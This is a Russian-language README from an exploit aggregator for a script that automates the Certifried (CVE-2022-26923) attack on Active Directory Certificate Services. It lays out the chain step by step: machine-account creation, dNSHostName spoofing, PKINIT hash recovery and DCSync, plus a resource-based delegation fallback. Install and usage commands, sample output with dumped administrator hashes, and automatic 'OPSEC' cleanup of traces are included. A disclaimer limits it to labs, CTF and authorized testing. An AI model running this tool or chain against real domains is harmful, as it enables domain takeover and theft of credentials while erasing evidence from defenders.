## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-NEFHARA-CVE-2022-26923
# CVE-2022-26923 – Эксплойт Certifried (Злоупотребление AD CS)
Автоматизированная эксплуатация **CVE-2022-26923 (Certifried)** , позволяющая повысить привилегии через злоупотребление службами сертификации Active Directory (AD CS), с автоматическим переходом на делегирование на основе ресурсов (RBCD) и последующим извлечением NTLM-хеша учётной записи администратора домена.
> ⚠️ **Только для образовательных целей / Лаборатории / CTF**
>
> Не используйте в несанкционированных средах.
* * *
## 🎯 Описание
Этот скрипт автоматизирует следующую цепочку атак:
### Метод 1 — Классический (Прямая эксплуатация CVE)
1. Создание контролируемой учётной записи компьютера (случайное имя для избежания конфликтов)
2. Подмена атрибута `dNSHostName` на имя контроллера домена
3. Запрос сертификата компьютера через AD CS
4. Аутентификация с помощью сертификата → извлечение NTLM-хеша контроллера домена через PKINIT
5. Выполнение атаки DCSync с помощью `secretsdump.py` с использованием хеша контроллера домена
### Метод 2 — Запасной (RBCD) _(автоматически, если Метод 1 не сработал)_
6. Преобразование PFX в PEM для использования с `bloodyAD`
7. Настройка делегирования на основе ресурсов (RBCD) на контроллере домена
8. Добавление SPN к скомпрометированной учётной записи компьютера через `impacket-addspn`
9. Запрос билета S4U2Self + S4U2Proxy с помощью `getST.py`
10. Извлечение NTLM-хеша через `secretsdump.py` с использованием билета Kerberos
* * *
## 🔗 Уязвимость
* **CVE-2022-26923 – "Certifried"** — CVSS 8.8 (Высокий)
* Поражает среды Active Directory, использующие AD CS
* Позволяет пользователю с низкими привилегиями выдать себя за контроллер домена, манипулируя атрибутом `dNSHostName`, что заставляет центр сертификации выпустить сертификат для учётной записи контроллера домена
* * *
## 🛠 Используемые инструменты
* * *
## 📦 Установка зависимостей
root@kitploit:~
pipx install impacket
pipx install certipy-ad
pipx install bloodyad
sudo apt install openssl
* * *
## 🚀 Использование
root@kitploit:~
chmod +x CVE-2022-26923.sh
./CVE-2022-26923.sh [options]
### Доступные опции
root@kitploit:~
-d, --dc-ip IP-адрес контроллера домена
-D, --domain Имя домена (например, corp.local)
-u, --user Действительный пользователь домена (формат UPN: user@domain)
-p, --pass Пароль пользователя
--verbose Режим отладки: вывод всех выполняемых команд
-h, --help Показать это справочное сообщение
* * *
## 🧠 Пример (HTB Certifried)
root@kitploit:~
./CVE-2022-26923.sh \
-d 10.129.227.189 \
-D certifried.htb \
-u some-email@example.com \
-p 'Ch4ng3m3!' \
--verbose
> **Совет:** Перед запуском определите точное имя CA и шаблона с помощью:
>
> root@kitploit:~
>
>
> certipy-ad find -u 'user@domain' -p 'Password' -target dc.domain -ns <DC_IP> -stdout
>
>
> Затем обновите `CA_NAME` и `TEMPLATE` в значениях по умолчанию скрипта.
* * *
## 🔥 Ожидаемый вывод
В зависимости от среды сработает один из двух путей:
**Метод 1 (Классический):**
root@kitploit:~
[5] Classic authentication attempt (Recovering DC hash)... [SUCCESS]
[+] NTLM Hash of the Domain Controller recovered: aad3b435b51404eeaad3b435b51404ee:6f9d...
[6] DCSync of administrator via secretsdump...
administrator:500:aad3b435...:<nthash>:::
**Метод 2 (Запасной RBCD):**
root@kitploit:~
[5] Classic authentication attempt (Recovering DC hash)... [FAILED]
[*] Switching to Fallback method (RBCD + SPN)...
[Fallback-5] Running secretsdump via RBCD ticket...
administrator:500:aad3b435...:<nthash>:::
**Очистка OPSEC выполняется автоматически** в конце (или при Ctrl+C):
root@kitploit:~
[*] Starting trace cleanup (OPSEC)...
[OK] Cleanup complete.
* * *
## 🏗 Внутренняя схема атаки
root@kitploit:~
Random Machine Account Creation (e.g. PWN8472$)
↓
dNSHostName Spoofing → dc.domain.local
↓
Dynamic LDAP Sync Verification (polling)
↓
Certificate Request via RPC (Machine Template)
[NETBIOS timeout auto-retry up to 5x]
↓
┌─────────────────────────────────────────┐
│ METHOD 1 — CLASSIC │
│ certipy-ad auth -pfx dc.pfx │
│ → DC NTLM hash via PKINIT │
│ → DCSync via secretsdump │
└────────────────┬────────────────────────┘
│ [FAILS]
▼
┌─────────────────────────────────────────┐
│ METHOD 2 — RBCD FALLBACK │
│ PFX → PEM conversion (openssl) │
│ bloodyAD: add rbcd dc$ COMP$ │
│ impacket-addspn: SPN on COMP$ │
│ getST: S4U2Self + S4U2Proxy (cifs/) │
│ secretsdump via KRB5 ticket │
└─────────────────────────────────────────┘
↓
OPSEC Cleanup (trap EXIT/INT/TERM)
- Remove RBCD attribute on DC
- Delete machine account (COMP$)
- Wipe local PFX / PEM / ccache files
* * *
## 🔧 Известные проблемы и устранение неисправностей
* * *
## ⚠️ Отказ от ответственности
Этот проект предоставляется для:
* Образовательных и исследовательских целей
* Личных лабораторных сред
* Заданий CTF / HackTheBox / Capture-The-Flag
* Санкционированных тестов на проникновение (с письменного разрешения)
Автор не несёт ответственности за любое несанкционированное или незаконное использование этого инструмента.